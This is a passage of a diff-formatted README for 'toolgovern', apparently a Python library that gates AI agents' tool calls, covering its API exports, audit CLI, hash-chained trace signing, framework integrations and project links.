`urllib.request` (`govern_tool()` is synchronous end to end in this port); the TS original uses
|
|
224
|
+
`fetch()`. Same checks, same fail-closed outcomes, different language-appropriate I/O plumbing.
|
|
225
|
+
- `IdempotencyCache` -- an opt-in claim-before-execute primitive so a retried call doesn't
|
|
226
|
+
re-execute a side effect (payments, emails, trades) that already happened.
|
|
227
|
+
|
|
228
|
+
## API reference
|
|
229
|
+
|
|
230
|
+
Everything importable from `toolgovern` directly:
|
|
231
|
+
|
|
232
|
+
```python
|
|
233
|
+
from toolgovern import (
|
|
234
|
+
# middleware
|
|
235
|
+
govern_tool, GovernToolOptions, ToolDefinition, ToolGovernDenialError, InvalidAgentIdError,
|
|
236
|
+
GateDecisionInfo, ApprovalOutcome, IdempotencyCache, IdempotencyOptions,
|
|
237
|
+
resume_pending_approval, ResumePendingApprovalOptions, PendingApprovalNotResolvableError,
|
|
238
|
+
# approval registry
|
|
239
|
+
PendingApprovalRegistry, PendingApproval, ApprovalResolutionDecision, PendingApprovalStatus,
|
|
240
|
+
ResolvePendingInput, ResolvePendingOutcome, ResolvePendingStatus,
|
|
241
|
+
PendingApprovalAliasConflictError, UnknownPendingApprovalError,
|
|
242
|
+
# mcp-server trust boundary
|
|
243
|
+
is_origin_allowed, verify_mcp_server_manifest, assert_mcp_server_trusted, McpTrustPolicy,
|
|
244
|
+
PinnedPublicKey, McpServerConnectionRequest, McpManifestEnvelope, McpTrustVerdict,
|
|
245
|
+
McpTrustDecision, McpTrustAlgorithm,
|
|
246
|
+
# classifier
|
|
247
|
+
classify, ClassifyOptions, rule_registry,
|
|
248
|
+
# scoping
|
|
249
|
+
ScopeRegistry, SpawnSubAgentParams, compute_inherited_scope, has_zero_capability,
|
|
250
|
+
is_valid_agent_id, is_valid_scope_declaration, normalize_scope, EMPTY_SCOPE,
|
|
251
|
+
# trace
|
|
252
|
+
TraceWriter, TraceWriterOptions, read_trace, filter_trace, verify_chain, parse_since,
|
|
253
|
+
canonical_json, compute_entry_signature, compute_entry_content_hash,
|
|
254
|
+
# policy
|
|
255
|
+
load_policy, validate_policy, as_policy, PolicyValidationError,
|
|
256
|
+
# types
|
|
257
|
+
ScopeDeclaration, Policy, RuleContext, RuleMatch, TraceEntry, TraceEntryInput,
|
|
258
|
+
AgentScopeRecord, Decision, RuleCategory, AgentIdSource, ConfidentialityLabel, IfcPolicy,
|
|
259
|
+
)
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
## CLI
|
|
263
|
+
|
|
264
|
+
```bash
|
|
265
|
+
toolgovern-cli validate ./toolgovern.policy.yml
|
|
266
|
+
toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny --verify-chain
|
|
267
|
+
toolgovern-cli audit ./toolgovern-trace.jsonl --json
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
`validate` and `audit` are behaviorally equivalent to the npm CLI, including the `--json`
|
|
271
|
+
structured-output envelope (`{ ok, command, data | error }`). **Not ported in this release:**
|
|
272
|
+
`toolgovern-cli init [oma|langgraph]`, the npm CLI's TypeScript integration-file scaffolder --
|
|
273
|
+
it generates a `.ts` file importing the JS/TS-only `toolgovern-integration-langgraph` /
|
|
274
|
+
`toolgovern-integration-oma` packages, which are out of scope for a Python port by nature.
|
|
275
|
+
|
|
276
|
+
## The signed audit trail
|
|
277
|
+
|
|
278
|
+
```python
|
|
279
|
+
from toolgovern import TraceWriter, TraceWriterOptions, verify_chain, read_trace
|
|
280
|
+
|
|
281
|
+
# Default: unkeyed sha256: content hash -- proves an entry hasn't changed since it was written,
|
|
282
|
+
# but does not stop an attacker with write access to the trace file from editing an entry and
|
|
283
|
+
# recomputing a valid signature (no secret required for that scheme).
|
|
284
|
+
writer = TraceWriter("./toolgovern-trace.jsonl")
|
|
285
|
+
|
|
286
|
+
# Optional: HMAC-keyed signing closes that gap for anyone who doesn't hold the key. toolgovern
|
|
287
|
+
# does not generate, store, or rotate this key -- that's your responsibility.
|
|
288
|
+
writer = TraceWriter("./toolgovern-trace.jsonl", TraceWriterOptions(secret_key=b"..."))
|
|
289
|
+
|
|
290
|
+
entries = read_trace("./toolgovern-trace.jsonl")
|
|
291
|
+
result = verify_chain(entries) # or verify_chain(entries, VerifyChainOptions(secret_key=b"..."))
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
See [docs/security-model.md](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
|
|
295
|
+
for the full disclosed-limitations writeup of both signing modes.
|
|
296
|
+
|
|
297
|
+
## Framework integrations
|
|
298
|
+
|
|
299
|
+
`toolgovern-integration-langgraph` and `toolgovern-integration-oma` are npm-only TypeScript
|
|
300
|
+
packages and are not ported to this Python distribution. Both are thin wrappers around
|
|
301
|
+
`governTool()` in the TS source, so wiring `govern_tool()` directly into a Python agent
|
|
302
|
+
framework's tool-executor call site is straightforward without a dedicated adapter package.
|
|
303
|
+
|
|
304
|
+
Five real Python framework integrations exist in this repository, each wiring `govern_tool()`
|
|
305
|
+
into a framework's actual hook rather than a generic wrapper: LangGraph (Python, using the real
|
|
306
|
+
`wrap_tool_call` `ToolNode` parameter), CrewAI, AutoGen, Microsoft Agent Framework, and the Claude
|
|
307
|
+
Agent SDK (using its real `PreToolUse` hook). None of these five are published to a package
|
|
308
|
+
registry yet -- each is available from source under
|
|
309
|
+
[`integrations/`](https://github.com/RudrenduPaul/toolgovern/tree/main/integrations) in the main
|
|
310
|
+
repo, with its own README and worked example. `examples/` in this directory also has a minimal,
|
|
311
|
+
framework-agnostic worked example wiring `govern_tool()` into a plain tool executor.
|
|
312
|
+
|
|
313
|
+
## Development
|
|
314
|
+
|
|
315
|
+
```bash
|
|
316
|
+
python3 -m venv .venv && source .venv/bin/activate
|
|
317
|
+
pip install -e ".[dev]"
|
|
318
|
+
pytest
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
## Security
|
|
322
|
+
|
|
323
|
+
Report a vulnerability per the project's [`SECURITY.md`](https://github.com/RudrenduPaul/toolgovern/blob/main/SECURITY.md); please don't open a public issue for one.
|
|
324
|
+
|
|
325
|
+
## Links
|
|
326
|
+
|
|
327
|
+
- [GitHub repository](https://github.com/RudrenduPaul/toolgovern)
|
|
328
|
+
- [npm package (core library)](https://www.npmjs.com/package/toolgovern)
|
|
329
|
+
- [npm package (CLI)](https://www.npmjs.com/package/toolgovern-cli)
|
|
330
|
+
- [CHANGELOG](https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md)
|
|
331
|
+
- [Getting started](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md)
|
|
332
|
+
- [Concepts](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/concepts.md)
|
|
333
|
+
- [Security model](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
|
|
334
|
+
|
|
335
|
+
## License
|
|
336
|
+
|
|
337
|
+
Apache 2.0 -- see [LICENSE](../LICENSE).
|